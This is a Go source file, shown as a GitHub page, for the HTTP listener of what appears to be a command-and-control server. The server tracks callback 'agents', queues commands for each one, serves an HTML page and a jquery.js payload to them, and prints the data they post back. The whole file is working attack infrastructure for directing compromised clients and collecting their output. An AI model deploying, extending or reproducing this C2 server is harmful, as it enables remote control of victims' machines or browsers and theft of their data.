-
Notifications
You must be signed in to change notification settings - Fork 28
/
http.go
146 lines (117 loc) · 3.22 KB
/
http.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
package main
import (
"github.com/gorilla/mux"
"net/http"
"fmt"
"io/ioutil"
"log"
"time"
"encoding/json"
"bytes"
)
type Agent struct{
Name string
LastCallBack int64
FirstCallBack int64
}
var Agents = make(map[string]Agent)
var Commands = make(map[string][]string)
func AddAgent(w http.ResponseWriter, r *http.Request){
var newAgent bool
vars := mux.Vars(r)
name := vars["agent"]
currentTime := time.Now().Unix()
newAgent = true
_, exists := Agents[name]
if exists{
newAgent = false
agent := Agents[name]
agent.LastCallBack = currentTime
Agents[name] = agent
}
if newAgent{
Agents[name] = Agent{name,currentTime,currentTime}
fmt.Println(fmt.Sprintf("\n[+] Agent %s is Active [+]",name))
}
}
func GetCommands(w http.ResponseWriter, r *http.Request){
vars := mux.Vars(r)
name := vars["agent"]
AgentCommands := Commands[name]
json_data, _ := json.Marshal(AgentCommands)
// Clears the commands
Commands[name] = nil
w.Write(json_data)
}
// To be called internally not from web
func AddCommand(agentName string, command string) {
Commands[agentName] = append(Commands[agentName],command)
}
func PrintAgents(){
if len(Agents) < 1{
fmt.Println("[-] No Agents are active [-]")
return
}
fmt.Println("\nActive Agents\n")
for _,agent := range Agents{
LastCallback := time.Unix(agent.LastCallBack, 0)
FirstCallback := time.Unix(agent.FirstCallBack, 0)
fmt.Println(fmt.Sprintf("Name : %s \t Last Callback: %s \t First Callback: %s",agent.Name,LastCallback.String(),FirstCallback.String()))
}
}
func RemoveInactiveAgents(){
for {
time.Sleep(5 * time.Second)
for _, agent := range Agents {
// Removes the Agent from array if no callback was received last 30 seconds.
if agent.LastCallBack < (time.Now().Unix() - 30) {
delete(Agents,agent.Name)
fmt.Println(fmt.Sprintf("[-] Agent %s is inactive",agent.Name))
}
}
}
}
func GetIndex(w http.ResponseWriter, r *http.Request){
// Validate the AGENT name to remove attack surface
vars := mux.Vars(r)
name := vars["agent"]
b, err := ioutil.ReadFile("static/index.html")
index := bytes.Replace(b,[]byte("{AGENT_NAME}"),[]byte(name),1)
if err != nil {
log.Fatal(err)
}
w.Write(index)
}
func GetJS(w http.ResponseWriter, r *http.Request){
b, err := ioutil.ReadFile("static/jquery.js")
if err != nil {
log.Fatal(err)
}
w.Write(b)
}
func PrintData(w http.ResponseWriter, r *http.Request){
var data []string
vars := mux.Vars(r)
name := vars["agent"]
json_data := r.FormValue("data")
fmt.Println(fmt.Sprintf("\n[+] Incoming Data from : %s [+]",name))
// Decode json data
json.Unmarshal([]byte(json_data),&data)
for _, d := range data{
fmt.Println(fmt.Sprintf("\n--------------------RESPONSE-----------------------\n%s",d))
}
w.Write([]byte("OK"))
}
func StartHTTPListener(port int) {
listener := mux.NewRouter()
listener.HandleFunc("/main/{agent}",GetIndex).Methods("GET")
listener.HandleFunc("/jquery.js",GetJS).Methods("GET")
listener.HandleFunc("/callback/{agent}",AddAgent).Methods("GET")
listener.HandleFunc("/commands/{agent}",GetCommands).Methods("GET")
listener.HandleFunc("/data/{agent}",PrintData).Methods("POST")
server := &http.Server{
Addr:fmt.Sprintf(":%d",port),
Handler:listener,
}
server.ListenAndServe()
}